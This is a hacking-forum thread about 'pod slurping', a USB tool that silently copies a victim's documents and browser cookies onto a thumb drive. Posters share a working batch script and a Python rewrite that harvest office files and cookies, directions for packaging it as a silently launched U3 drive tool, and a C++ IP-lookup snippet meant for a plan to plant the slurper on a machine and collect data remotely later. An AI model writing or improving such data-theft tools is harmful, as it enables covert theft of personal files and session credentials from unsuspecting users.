Jump to content

PodSlurping


DingleBerries

Recommended Posts

Has anyone seen a version of this not written as a .bat? Maybe some python or c++? I have a working POC of this switch blade atm, but i do not like using nircmd and batch. If you can help in ANY way please let me know and i will box it up and ship it out.

@echo off

mkdir %~d0\%computername%

mkdir %~d0\%computername%\Documents

mkdir %~d0\%computername%\Cookies

::Plain Text Files
xcopy "C:\Documents and Settings\%username%\My Documents\*.txt" %~d0\%computername%\Documents /s/c/q/r/h/y

xcopy "C:\Documents and Settings\%username%\Desktop\*.txt" %~d0\%computername%\Documents /s/c/q/r/h/y



::Microsoft Word 2003 and 2007
xcopy "C:\Documents and Settings\%username%\My Documents\*.doc" %~d0\%computername%\Documents /s/c/q/r/h/y

xcopy "C:\Documents and Settings\%username%\My Documents\*.docx" %~d0\%computername%\Documents /s/c/q/r/h/y

xcopy "C:\Documents and Settings\%username%\Desktop\*.doc" %~d0\%computername%\Documents /s/c/q/r/h/y

xcopy "C:\Documents and Settings\%username%\Desktop\*.docx" %~d0\%computername%\Documents /s/c/q/r/h/y



::Microsoft Excel 2003 and 2007
xcopy "C:\Documents and Settings\%username%\My Documents\*.xls" %~d0\%computername%\Documents /s/c/q/r/h/y

xcopy "C:\Documents and Settings\%username%\My Documents\*.xlsx" %~d0\%computername%\Documents /s/c/q/r/h/y

xcopy "C:\Documents and Settings\%username%\Desktop\*.xls" %~d0\%computername%\Documents /s/c/q/r/h/y

xcopy "C:\Documents and Settings\%username%\Desktop\*.xlsx" %~d0\%computername%\Documents /s/c/q/r/h/y



::Microsoft PowerPoint 2003 and 2007
xcopy "C:\Documents and Settings\%username%\My Documents\*.ppt" %~d0\%computername%\Documents /s/c/q/r/h/y

xcopy "C:\Documents and Settings\%username%\My Documents\*.pptx" %~d0\%computername%\Documents /s/c/q/r/h/y

xcopy "C:\Documents and Settings\%username%\Desktop\*.pptx" %~d0\%computername%\Documents /s/c/q/r/h/y

xcopy "C:\Documents and Settings\%username%\Desktop\*.ppt" %~d0\%computername%\Documents /s/c/q/r/h/y


::COOKIES
xcopy "C:\Documents and Settings\%username%\Cookies\*.txt" %~d0\%computername%\Cookies /s/c/q/r/h/y

@cls
@exit

Link to comment
Share on other sites

A while ago, I wrote a script to collect alll images from a drive, i used this code:

import os
exts = [".jpg",".png",".bmp",".jpeg",".gif"]
startpath = "/home/"
def find(none, directory, filenames):                       
    for file in filenames:                                       
        for ext in exts:                      
            if file.endswith(ext):                 
                file = os.path.join(directory,file)
                print file
os.path.walk(startpath,find, None)

this will print out all images, you can then use shutil (http://docs.python.org/library/shutil.html) to copy the file to your pendrive

I will write a script later,(quite busy right now)

Link to comment
Share on other sites

voila, this script will copy all .txt, .doc, .docx, .pp, .pptx, .xls, .xlsx in the C:\Documents and settings\ directory

import os,shutil
exts = [".txt",".doc",".docx",".xls",".xlsx",".ppt",".pptx"]
startpath = "C:\\Documents and Settings\\"
def find(none, directory, filenames):                      
    for file in filenames:                                      
        for ext in exts:                      
            if file.endswith(ext):                
                fullfile = os.path.join(directory,file)
                try:
                    shutil.copy(fullfile,file)
                except IOError:
                    pass # access denied
os.path.walk(startpath,find, None)

Link to comment
Share on other sites

SLU3RP


Directions:
Put ISO on the U3 partition.
Put the contents of FLASH on the root of the drive.
That is it.

Beta 1(Working)
  • Slurp.exe(Thanks to ls we have a complied execuatble by ls, no dlls.)
  • Nircmd(Starts slurp.exe silently)
To Do
C++ auto run(almost there. Dont want Nircmd)

Download1
Download2
Download3
Link to comment
Share on other sites

Yes it looks a bit overwhelming at first sight but it's actually quite simple:

you first have to create a .spec file with the command python Makespec.py [option] pythonscript.py

and then python Build.py pythonscript.spec

Link to comment
Share on other sites

If the code was changed from:

startpath = "C:\\Documents and Settings\\"

TO

startpath = "MyComputer"

Would that then include external drives? I can check it in a few hours but time to work :(

Just thought of another thing.

Create Dir

Copy Small HTTP server to dir

Copy Slurp.exe to Dir

Cron(or what ever windows does) to run

Copy external IP to thumb drive

(C++)

//By Napalm
#include <windows.h>
#include <wininet.h>
#include <stdio.h>
#include <string.h>


// I will let you add the error checking to this function.
char *getwebpage(char *hostname, char *uri, unsigned long *total)
{
    if(!hostname || !uri || !total) return (char *)0;
    *total = 0;
    
    char *headers1 = "Accept: text/html, */*\nAccept-Language: en-gb\nAccept-Encoding: none\nHost: ";
    char *headers2 = (char *)malloc(strlen(headers1) + strlen(hostname) + 2);
    sprintf(headers2, "%s%s\n", headers1, hostname);
    HINTERNET session = InternetOpen("Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    HINTERNET connect = InternetConnect(session, hostname, 80, "", "", INTERNET_SERVICE_HTTP, 0, 0);
    HINTERNET http    = HttpOpenRequest(connect, "GET", uri, HTTP_VERSION, NULL, 0, INTERNET_FLAG_DONT_CACHE, 0);
    HttpSendRequest(http, headers2, strlen(headers2), NULL, 0);
    free(headers2);
    
    unsigned long read;
    char buffer[1024];
    char *final = (char *)malloc(1024);
    memset(buffer, 0, 1024);
    memset(buffer, 0, 1024);
    while(InternetReadFile(http, buffer, 1024, &read) && (read != 0)){
        CopyMemory((final + *total), buffer, read);
        *total += read;
        final = (char *)realloc(final, (*total + 1024));
        memset((final + *total), 0, 1024);
    }
    
    InternetCloseHandle(http);
    InternetCloseHandle(connect);
    InternetCloseHandle(session);
    
    return final;
}

int getmyipaddress(char *buffer)
{
    unsigned long length;
    char *webpage = getwebpage("www.ipchicken.com", "/", &length);
    if(!webpage || length == 0) return 0;
    int result = 0;
    char *start = strstr(webpage, "<b>");
    if(start){
        start += 3;
        while(*start <= ' ') start++;
        char *end = start;
        while(*end > ' ') end++;
        *end = 0;
        strcpy(buffer, start);
        result = 1;
    }
    free(webpage);
    return result;
}

int main(int argc, char *argv[])
{
    char ipaddress[16];
    if(getmyipaddress(ipaddress)){
        printf("My IP Address Is: %s\n", ipaddress);}
    else{
        printf("Error getting IP Address.\n");}
        getchar();
    return 0;
}

Link to comment
Share on other sites

  • 1 month later...
If the code was changed from:

startpath = "C:\\Documents and Settings\\"

TO

startpath = "MyComputer"

Would that then include external drives? I can check it in a few hours but time to work :(

Just thought of another thing.

Create Dir

Copy Small HTTP server to dir

Copy Slurp.exe to Dir

Cron(or what ever windows does) to run

Copy external IP to thumb drive

Hello.

I spent some time reading posts about slurping. I'm looking for something like this, install the slurper in the machine and get the data later. If are there a lot of data we need so much time to copy.

I really had think in a adaptation of hacksaw to get slurping data instead of usb data.

¿What about your idea?

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...